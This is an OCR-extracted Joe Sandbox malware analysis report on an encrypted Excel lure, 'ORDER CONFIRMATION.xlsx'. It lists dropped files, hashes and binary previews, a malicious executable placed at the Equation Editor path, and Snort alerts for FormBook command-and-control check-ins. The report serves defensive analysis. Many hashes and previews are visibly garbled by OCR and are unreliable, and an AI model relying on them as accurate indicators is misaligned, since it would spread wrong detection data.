https://view.joesandbox.com/analysis/378675/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378675/html/none?idtype=webid
https://view.joesandbox.com/analysis/378654/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378654/html/none?idtype=webid
https://view.joesandbox.com/analysis/378633/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378633/html/none?idtype=webid
https://view.joesandbox.com/analysis/378612/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378612/html/none?idtype=webid
https://view.joesandbox.com/analysis/378600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378600/html/none?idtype=webid
https://view.joesandbox.com/analysis/378586/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378586/html/none?idtype=webid
https://view.joesandbox.com/analysis/378549/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378549/html/none?idtype=webid
https://view.joesandbox.com/analysis/378543/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378543/html/none?idtype=webid
https://view.joesandbox.com/analysis/378535/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378535/html/none?idtype=webid

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1C03C88C.jpeg

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
dropped

8815

7.944898651451431

false

192:Qjnr2118e71i2YRD5x5dlyuaQ0ugZIBn+002yHQGYtPto:QZI8e71i2YdRyuZ0b+JGgtPW
F06432656347B7042C803FE58F4043E1

4BD52B10B24EADECA4B227969170C1D06626A639
409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6

358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BEYSI
OE

false

moderate, very likely benign file

X.5.PM.Q@E..I......i..0.$G.C...h..Gt....f..0..U..D.t"...u.B...VO.f..<.t(kt.
: "R.G..6..&pB..d.h.04.*+..S..M....
U.E. 4Pdl.0."4 A 2...gbDb.1 &y ... .
.3.008,=.K.!...Z.....0.lz...am...C.k..iZ ...<ds...f8f.R...K

"1A..QRa.#2BSq
.d.@..&3)d@@7.q...t..3!.... .9.r...
$e&.. ..z..[..3.+~..a.u9d.&9K.ka'. LY. ..MxPu..b..:0e: R#
.1.b.0U...5.0i\.LH1.f. sl f.'3?...bu.P4>...+.B...eL...R,,

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\24B64F4E.png

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced

dropped

84203

7.979766688932294

false
1536:RrpoeM3WUHO25A8HD3S04IL9jvt06302I/WrdnuQvs+9QvM4PmgZuVHdJI5v3ZK7+:H5YHOhwx4IRTtO6349uQvXJ4PmgZulll
208FD40D2F72D9AED77A86A44782E9E2

216B99E777ED782BDC3BFD1075DB90DFDDABD20F
CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF
7BCEBOFFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DBID5ED8DA93C223F265C179CFADAG09A64
false

moderate, very likely benign file

......... IDATXN=W9. H..f...ZA. " jrd........
..0...0.6..S...'n..H.hS..

L..D.GI0.G
\.+b...{>vU. = |K..w..}O.]...G.
(W...St...m 3%..)j....b.17.0F...c

C..KGld.8.a}|.., LE..X.1.-Y].JIm.j..pq|.0...e.v.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\3F791AF7.jpeg

Process:
File Type:
Category:
Size (bytes):

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3
dropped

85020

Entropy (8bit):  7.2472785111025875

Encrypted: false

SSDEEP: 768:RgngDYqspFlysF6bCd+ksdsOcdAgfpS56wmdhcspOPxm00JkxuacpxoOIWEF3hVL:RUgQGsF60dxW6ImPncpxoOthOip

MDS5: 738BDB90A9D8929A5FB2D06775F3336F

SHAL: 6A92C54218BFBEF83371E825D6B68D4F896CODCE

SHA-256: 8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDAS5A13F87DDAAB

SHA-512: 48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EEDSEFC176FECFOBEF4EC4EE6C342FC76CCDAAE
8D6

Malicious: false

Preview:

O CH O G G GO

(((((((--(---((((((((((((((((((((((((((((((((((((((((((((((((((((((((
o o oo o oo oo o (P GO P G PN P PR P ¢

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4D4B1A7A.png E

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 49744

Entropy (8bit): 7.99056926749243

Copyright Joe Security LLC 2021 Page 16 of 39



C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\4D4B1A7A.png E

Encrypted: true

SSDEEP: 768:wnuJ6pl4x3egT1LYyelwBiPaaBsZbkCev17dGOhRkJjsv+gZB/UcVaxZJ2LEz:YfplUeWNYF1UiPm+/qlsxZB/ZS

MDS5: 63A6CB15B2B8ECD64F1158F5C8FBDCC8

SHA1L: 8783B949B93383C2A5AF7369C6EEBID5DD7A56F6

SHA-256: AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232

SHA-512: BB42A40E6EADF558C2AAE82F5FB60B8D3ACO6E669F41B46FCBE65028F02B2E63491DB40E1C6F1B21A830E72EE52586B83A24A055A06C2CCC2D1207C2D5AD6E
45

Malicious: false

Preview:
PNG........ IHDR.............. I.M....IDATX....T.]...G.;..nuww7.s...U..K.....lh...gli.. K.t Kk W..i.>....B....E.0...f.a...e...++. P . A LSH...coos sM....p..p-..y]..t17".D).....[..k
...pzos....... 6;,..H....U..a..9..1...%..... * kI<.\F..$.E....?[B(.9.....H..l.....0AV..g.m...23..C..g(.%...6..>.0.r..L..t1.Q-.bE......)....... li.."..V.g.\.G..p.p.X[.....*%hyt..@..J...~.p....

...Jte...5Q.P.v;..B.C..m......0.N......g...b.....Q...c.m0oT.e60B...p.v"..."....... 9..G....B}...../m...0g...8......6.$.$]p...9
P L VKPR 25 fdWELY Y0 &02.00).6.D 2.06....U.%.2t.......6.0..D B +~....M%" fG]b\[........
+....ra..ieZ.j.Y..3.Q*m.r.urb.5@.e.v@@....gsh.{g-..3j........ s.f.|8s$p.?3H......0"..6)...bD... . +....9.;$.. . W:LjBH..ItK

Z.a.sr.;B.a..m

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\4EA9D4E2.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 333x151, frames 3
Category: dropped

Size (bytes): 14198

Entropy (8bit):  7.916688725116637

Encrypted: false
SSDEEP: 384:IboF1PuTfwKCNtwsU9SjUB7ShYIv7JIrEHaeH]7KHG81l:lboFgwK+wD9SA7ShX7JrEL7TKHG8S
MDS5: E8FC908D33C78AAAD1DO6E865FCIFIBO
SHA1L: 72CA86D260330FC32246D28349C07933E427065D
SHA-256: 7BB11564F3C6C559B3AC8ADE3ESFCALD51F5451AFF5C522D70C3BACECOBBB5DO
SHA-512: A005677A2958E533A51A95465308F94BE173F93264A2A3DB58683346CA97E04F14567D53D0066C1EAA33708579CD48B8CD3F02E1C54F126B7F3C4E64AC196E17
Malicious: false
Preview:
...... JFIF e L L) ALY
.1A"Q.aq..2B..#R..3b...$r..C......4DSTcs.. .m..D .Z*5.5...CPL..W..07....h.u..+.B..R.S.I.

..Jl.4.mn..Ke!G.6*PJ.S>..0....q%
aY...S.R...Y..(D.|..10....

(YX.St.@r..ca..|5.2..*.%..RABT........{..X U@,
P]..ZP.H.I1252L.$.N..2%P..C..@....A..D.I......1..[q*[5(-J..@...$..N...x.U.fHYL.PM..[.P

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\6CBE2925.jpeg

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3

Category: dropped

Size (bytes): 8815

Entropy (8bit): 7.944898651451431

Encrypted: false

SSDEEP: 192:Qjnr2118e71i2YRD5x5dlyuaQ0ugZIBn+002yHQGYtPto:QZI8e7li2YdRyuZ0b+JGgtPW

MD5: F06432656347B7042C803FE58F4043E1

SHA1L: 4BD52B10B24EADECA4B227969170C1D06626A639

SHA-256: 409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6

SHA-512: 358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE9S!
OE

Malicious: false

Preview:

. i.0.$G.C...h..Gt...1..0..U..D.t...u.B...VO.f..<..t(kt.
4.@..83)d@@7?.q...t.3.... .9.1....Q.(.W..X& & 1&T * K. |kc.. AR.G..6..&pB..d.n.04*+.S.. M......[.... 20 YN TLEG[lm......
$e&......z..[.3.4~..a.u9d.&IK xKX'."...Y.. 2...9bDb.1."&..y1..
1.6.0U...5.0i\LHLf.. Sl £32..bu.P4>..+.B...eL..R...<...3.008,=.K...Z.....0.l z..am...Ck.iZ ..<ds...f8f.R...K

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6F46F433.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 684 x 477, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 33795

Entropy (8bit): 7.909466841535462

Encrypted: false

SSDEEP: 768:mEWNXSo70x6wlKcaVH1IvLUIGBtadJubNT4Bw:mTDQx6XH1lvYIbdJux4Bw
MD5: 613C306C3CC7C3367595D71BEECD5DE4

SHAL: CB5E280A2B1F4F1650040842BACC9D3DF916275E

SHA-256: A76D01A33A00E98ACD33BEEIFBE342479EBDA9438C922FE264DCOF1847134294
SHA-512: FCA7D4673A173B4264FC40D26A550B97BD3CC8AC18058F2AABB717DF845B84ED32891F97952D283BE678B09B2E0D31878856C65D40361CC5A5C3E3F6332C96€
Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6F46F433.png

Preview:
.............. T+....)ICCPicc..X..gP.....}..m....T).HYZ.E...Y."bC..D..i. ...Q).+.X..X.,...."*(G.L{?..ZW.93..".........~....06|G$/3.......Q@...... %:&......K...\............3J..
.......... {.T.JABIL..?-V...ag.......>..... W..@..+..pHK..O.....0ccccerereec.W..Fo {03000 XY 200 (LLLEP -0+, 'p.0. P..<....C... (... . ZL. BT\
. J0L#..0B<?2$.@.T$..GV'%HIR.4 -.O...r.F. ..,....P.D.P..\..@.gh .=V (*D.T)ezes..0,.c[.b.k.MA..9.3..c.8=........ 2p[g....\.....7..}...x
LA~ 20 H XIMLLLIHSI&. WL HL L H.XD.&"M...HT...L#.H.V.e.i.D.#.-.h.&r..K.G."/Q.).kJ.%.. .REi..S.S.T....@.N....NP?.$h:4.Z8-...v.v...N.k...a
1/.&.-M.V.KdD.(YT].+.A40.R...=.91....X..V.Z..bcb...g#qo...R.V...3.D..."h.B.c..%&..C....1v2..7.SL.S...Ld.003.....& A.....$.,...rc%..XgY.X_...RIR{.F.....
C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7383DB7B.png E
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced
Category: dropped
Size (bytes): 49744

Entropy (8bit):  7.99056926749243

Encrypted: true

SSDEEP: 768:wnuJ6pl4ax3egT1LYyelwBiPaaBsZbkCev17dGOhRkJjsv+gZB/UcVaxZJ2LEz:YfplUeWNYF1UiPm+/qlsxZB/ZS

MDS5: 63A6CB15B2B8ECD64F1158F5C8FBDCC8

SHA1L: 8783B949B93383C2A5AF7369C6EEBID5DD7A56F6

SHA-256: AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232

SHA-512: BB42A40E6EADF558C2AAEB82F5FB60B8D3ACO6E669F41B46FCBE65028F02B2E63491DB40ELC6F1B21A830E72EES2586B83A24A055A06C2CCC2D1207C2D5AD6E
45

Malicious: false

Preview:

LIDATX...T.]...G...nuww7.s..U.K.....lh...gli.. K. .t kW.i.>.....B..EO..fa..e..++. P. . A.LS}..
LFKI<UFLSE.L?[B(.9... H. 0AV..g.m...23..C..g(.%...6..>.0.r...L..t1.Q-.bE..
> *iU.G.....O..16...iV....@... Jte...5Q.P.v;..B.C..m......0.N......q...b.....Q...c.m0oT.e60B...p.v".
.>.b.. B K { A4w?..B3L.2.> 1. L2 fdowrlyly i.'&.2....).e.D 2.06

-lpe L WKLPq
.a...ieZ..).Y..3.Q*m.r.urb.5@.ev@@....gsb {g-..3j........s.f.|8s$p.?3H......0"..6)...bD... A .+....9..;$.. . W: jBH..ItK

...sM...p..p-..y]...t7".D)....... k.
V.g.\G..p..pX[....*%hyt..@..J...~.p....

./m...0g...8......6.$.$]p...9....Z.a.sr.;B.a...m
fGIb\[........

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\83C4F71D.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 333x151, frames 3
Category: dropped
Size (bytes): 14198
Entropy (8bit):  7.916688725116637
Encrypted: false
SSDEEP: 384:IboF1PuTfWKCNtwsU9SjUB7ShYIv7JIrEHaeH]7KHG81I1:lboFgwK+wD9SA7ShX7JrEL7KHG8S
MD5: E8FC908D33C78AAAD1D0O6E865FCIFIBO
SHA1L: 72CA86D260330FC32246D28349C07933E427065D
SHA-256: 7BB11564F3C6C559B3ACBADE3ESFCA1D51F5451AFF5C522D70C3BACECOBBB5D0
SHA-512: A005677A2958E533A51A95465308F94BE173F93264A2A3DB58683346CA97E04F14567D53D0066C1EAA33708579CD48B8CD3F02E1C54F126B7F3C4EG4AC196E17
Malicious: false
Preview:
...... JFIF e e L) L& L&)+ +: + ML

..1A"Q.aq..2B..#R..3b...%r..C......4DSTcs . L2 fQluinG2.).ml D L Z2.%5.5...CPL..W..07....h.u..+.B..R.S.l. .m..8.T...

(.YX.st.@r.ca..|5.2..*..%..R.A67.......{...X.;...4.D.0".R...sV8....rdm... 2Est» ....... U @......]i.4.mn. Ke!G.6*PJ.S>. 0 Q%.... e @..T.P<.gze..(H+ .@$...2.h

P.J..ZP.H.I?s2l.$.N..2xP..c..@... AD... 1 [g¥[5(-..@...$.N... X.U.HYL.PM..[P.......aY....S.R....Y...(D.|..10........... . I.|F..E9*..RU..P..p$.".....2.5.-....a& @..P....m....
...L.a.H,Dv)...@u...s.,.h..6..Y,....D.7....,.UHe.s..PQ.Ym....)..(y.6.u... V2. &.... M8 +]K)R..\ALLL.B..2[1.L(c3J..%..$.3. E0@...."5fj...

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\B4ED7E41.jpeg

Process: C:\Program Files\Microsoft Office\Office L4\ EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=2], baseline, precision 8,
474x379, frames 3

Category: dropped

Size (bytes): 7006

Entropy (8bit):  7.000232770071406

Encrypted: false

SSDEEP: 96:X/yEpZGOnzVjPyCySpv20NPI3ygxZzhEahqwKLBpm1hFpn:PyuZbnRW6NPI3ygqEhwK1psvn

MD5: 971312D4A6C9BE9B496160215FE59C19

SHAL: D8AA41C7D43DAAEA305F50ACF0B34901486438BE

SHA-256: 4532AEED5A1EB543882653D009593822781976F5959204C87A277887B8DEBY61

SHA-512: 618B55BCD9D9533655C220C71104DFBIE2F712E56CDA7A4D3968DE45EE1861267C2D31CF74C195BF259A7151FA1F49DF4AD13431151EE28AD1D3065020CES3E

Malicious: false

Preview:

.. &%t #"(-90(*6+"#2D26'—@@@&0FKE>J9?@=...C ........... =)#)
%&'()*456789:CDEFGHIJSTUVWXY Zcdefghij
stuvwxyz W !1..AQ ag."2...B....#3R..br...$4.%.....&'()*56789: CDEFGHIJSTUVWXYZc
defghijstuvwxyz. . o o (oo o O o o o R (oo (R (o0 O (o O A o (O P (O P O S G S O
(((((((((((((((((((((((((((((((((((((((((((((

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C3FA08B4.jpeg
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C3FA08B4.jpeg

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3
dropped

85020

7.2472785111025875

false

768:RgngDY(qspFlysF6bCd+ksdsOcdAgfpS56wmdhcspOPxm00JkxuacpxoOIWEF3hVL:RUgQGsF60dxW6JImPncpxoOthOip
738BDB90AID89I29A5FB2D06775F3336F

6A92C54218BFBEF83371E825D6B68D4F896CODCE
8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDAS5A13F87DDAAB

48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EEDSEFC176FECFOBEF4AECAEEGC342FC76CCDA4E
8D6

false

LJ1A.Qalq.
W J1LAQ
I GO G o AN AR e e R e o
Lol ol Gl

2. #B..R..$3br
.aq."2...B.... #3R..br...$4.%

O O O O O O O O A O G O A A
Lol

Gl ol
Gl

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C4E1B898.jpeg

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=2], baseline, precision 8,
474x379, frames 3

dropped

7006

7.000232770071406

false

96:X/yEpZGOnzVjPyCySpv20oNPI3ygxZzhEahqwKLBpm1hFpn:PyuZbnRW6NPI3ygEhwK1psvn

971312D4A6CIBE9IB496160215FE59C19

D8AA41C7D43DAAEA305F50ACF0B34901486438BE

4532AEED5A1EB543882653D009593822781976F5959204C87A277887B8DEB961

618B55BCD9D9533655C220C71104DFBIE2F712E56 CDA7A4D3968DE4SEE1861267C2D31CF74C195BF259A7151FA1F49DF4AD13431151EE28AD1D3065020CES3E

false

.8 &%t #'(-90(*6+"#2D26;=@ @ @&OFKE>J9?@=...C........... =)#)
%&'()*456789:CDEFGHIISTUVWXY Zcdefghij
stuvwxyz W 11..AQ.aq."2...B.... #3R..br...$4.%.....&'()*56789: CDEFGHIJSTUVWXYZc
defghijstuvwxyz. 2.Z(..( O O GO O (OO GO Y O Y OO U O O (O OO Y (R Y (OO O Y (RO Y OO U (Y OO (PO GO Y (Y (O
O O OO Y O GO GO GO GO (Y (U0 (U0 (OO (PO O O O Y OO OO (OO U U (UOY (UOY (FOY PO (PO O O O O UY OO U (OO GO Y (U0Y (U0 (U0 OO O

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\CFE3BF36.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

648132

2.8123866129936412

false

3072:M34ULOtS6WB0JOgFB5SAEAT7rgXuzqn8nG/ac+5:+4UcLe0JOcXuunhgcS
113F32E1934BCOE35EEESFF818BE29A2
5A8B1604EE71AB705333F8801B4257ABFFCD0201
DEDBEO6A88A213D59E39F84939526B4ECCADSED4EC26BDIFE3CD748F33090511
4D2D418011596BE9A4F05BA424016F22B8FFBEBA7D552A17D722D42C6BA2D3ACES8BECD19E13B488AF22EC6731AA4ADC565F3A9017918646099D859597D9D3|

XX FLUALPLEMFH'@.
L@."Calibri.
.. X..9...7

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D6282740.png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

PNG image data, 684 x 477, 8-bit/color RGBA, non-interlaced
dropped

33795

7.909466841535462

false

768:mMEWNXSo70x6wlKcaVH1IvLUIGBtadJubNT4Bw:mTDQx6XH1lvYIbdJux4Bw
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D6282740.png

MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

613C306C3CC7C3367595D71BEECD5DE4

CB5E280A2B1F4F1650040842BACCOD3DF916275E

A76D01A33A00E98ACD33BEE9FBE342479EBDA9438C922FE264DCOF1847134294
FCA7D4673A173B4264FC40D26A550B97BD3CC8AC18058F2AABB717DF845B84ED32891F97952D283BE678B09B2EOD31878856C65D40361CC5A5C3E3F6332C966€

false

kp..}.g )Xt "t... J...#..0B<.?$.@.T$..GV'"%HIR.4 -.O...1..F. ..,...P.D.P...\..@.qh....{*..=v..(*D...'T..)cz..s...0,..c[.b.k.N{..9.3..c..8=
1%, ..~ 2.H X.M.9..JH$I&.... W .. H.L.... . H.XD.&" ... HT....L#.H..V.e..i.D.#..-..h.&r...K.G."IQ.)..k].%...REi...S.S.T.....@.N....NP?.$h:4.Z8-...v.v....N.k...a
t}..~...1.1/.&-M.V.KdD.(YT].+.A40.R...=.91.....X..V.Z..bcb...q#qo...R.V...3.D..."h.B.c..%&..C....1v2..7.SL.S...Ld.003.....& A......$.,...1c%..XgY.X_....R1IR{.F.....

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\F5DAEFB9.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced

dropped

84203

7.979766688932294

false
1536:RrpoeM3WUHO25A8HD3S04IL9jvt06302l/Wr9nuQvs+9QvM4PmgZuVHdJI5v3ZK7+:H5YHOhwx4IRTtO6349uQvXJ4PmgZulld
208FD40D2F72D9AED77A86A44782E9E2

216B99E777ED782BDC3BFD1075DB90DFDDABD20F
CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF
7BCE80FFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DBID5ED8DAI3C223F265C179CFADAGO9AG4

false

gAMA......a....pHYs........ +... IDATXA =9 HfLLZAL SEJ,%..VPG. K.=...@.%0l.e7...U...... ... >N~&..._..._.Ig...

?..00.7...Cc..G...g>......_0..._._J}g..k...ru.T...SL..~.@Y96.S.....&.1.:....0...0.6..S...'n..H.hS ... N X _h(ul0a... ] R .Z...2......GJY
\..+b..{>vU.... .._V.z.s.U.cR.g".X......6n...6....06.-. AM.f.=y ...7...;X....q..|..=|[K..w..}JO. {]...G.......~.03.....2...Mm6...SN.0..;/....Y .H..0..........
(W Sit..m...+K..<.M=..IN.U..C.]5.=.5..0.d.f.<Km.$.fS..0....}@....k.m.L/$......}...3%..|j....b.r7.OIF..c"....$...)...|O.CK...._....Nv...q.t3].,. ...vD.-.0.kw....X...-
C..KGId.8.a}|..,....ep...q. =1 PEVE..NL S [w..N.b.W......;.2.00.K{>.K....{wf...... 6Y...,.}.E..X.1.-Y].JImj..pq|.0...e.v.....17....F

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F90639BF.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

7788

5.523444764822477

false
96:wHCHOVIJaX1/0gMfZoL/GuoOfaDda/ZbjsSZdb3Cim3n+KeXIl:wHTrZuloOSGZboS/C93n+Kul
19CEE3A6741FA847BB3B6049C6D44989
D3AB8BIDE9780CD057FC1E210C47533A2E3EA704
DF50928E8F40F0258DA68BFFD210760789C670101AFC17CC6C8334DD0313A66F
2C7B73617C55D99B3C70ECB8B0904A056AEDEF193066208A514FAD02B6C5F53F803FC196E40C72DB03EB4980314305FF3D53342117623F711EE97967EFDOE4AE

false

..... S.e.g.oe. Ul
0 S W <9u.Zv..X\..

T.c\U.eMU.e]W.g'Y.hbY.j Y.ib\.Id].kd].nd”.nfA.

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

data

dropped

330

1.4377382811115937

false

3:vZ/FFDJw2fj/FFDJIwW2fV:vBFFGaFFGS

96114D75E30EBD26B572C1FC83D1D02E
A44EEBDASEB09862AC46346227F06F8CFAF19407
0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAFOF021AD7C8D30600AA8168348BDOFAS
0

true

.user JAlblus. user JAlbus. oo
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C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Antivirus:

Preview:

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped
556544
7.182791197610268

false

12288:7WHCM2KA4Cz8liFBdgtM6lf2vo45Rm5fv1zCIn:h3CzeiDdIMAfEofftzk

989933E361010648C467C6D7B6C2D812
3BD47D097B8CD69083445EB0417B0059FA806542

34A89EDA5DD4AEF3EFB096011F27BBA7354B4C624D5DC01F4B43A18AC42D6AF4

F98B8337F527B49A4E5BD659CD6264D22F43C31EAABS5CCA4BF79EE2C5C5405D5CD78D1176759A0E0287ESFEB82675EFOD73DDA918FB9289ACCID84DA466C!

OF

true

e Antivirus: Joe Sandbox ML, Detection: 100%

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Network Behavior

Snort IDS Alerts

Timestamp

09/15/21-
11:18:05.138832

09/15/21-
11:18:10.217119

09/15/21-
11:18:10.217119

09/15/21-
11:18:10.217119

Protocol SID Message

TCP 1201 ATTACK-RESPONSES 403 Forbidden

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET)

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET)

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET)

Copyright Joe Security LLC 2021

ede2aaB8aadb4bcbd

.8}
O rE..p.+.*%.0....

CDFV2 Encrypted
7.988579713004966

e Generic OLE2 / Multistream Compound File
(8008/1) 100.00%

ORDER CONFIRMATION.xlIsx

597504

elel8c326febdaeal3a983f390e0e36c2
7d0abdd1c6ldac8dfb411fde050381149falaaff

a53f9cefce2fc02da9726d54387b05952a3956b9da65c69
27¢96250b44099d9a

60b789ed55e1b4129b6ch7a9f57e463ch4f21a77ba0fo06
0269618df6c0035¢7bd70e8fe8fabb8cad4435f098achfof
38d6a7aead6f7a4bf7202eced0592b416

12288:52/yYOLyJMy9tyEqnF8VPV8+BRZIJf+jgGpVABf
GiggRBZ:52/Tg+ryGVPV3ZIF+jgGpVAIGqR7

Source Dest

Port Port Source IP Dest IP

80 49169 34.102.136.180 192.168.2.22
49170 80 192.168.2.22  34.98.99.30
49170 80 192.168.2.22  34.98.99.30
49170 80 192.168.2.22  34.98.99.30
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Timestamp

09/15/21-
11:18:10.331685

09/15/21-
11:18:20.416021

09/15/21-
11:18:20.416021

09/15/21-
11:18:20.416021

09/15/21-
11:18:20.531202

09/15/21-
11:18:30.822018

09/15/21-
11:18:30.822018

09/15/21-
11:18:30.822018

09/15/21-
11:19:13.272679

09/15/21-
11:19:54.712455

09/15/21-
11:19:54.712455

09/15/21-
11:19:54.712455

09/15/21-
11:19:54.827491

09/15/21-
11:20:05.010582

09/15/21-
11:20:05.010582

09/15/21-
11:20:05.010582

09/15/21-
11:20:05.125579

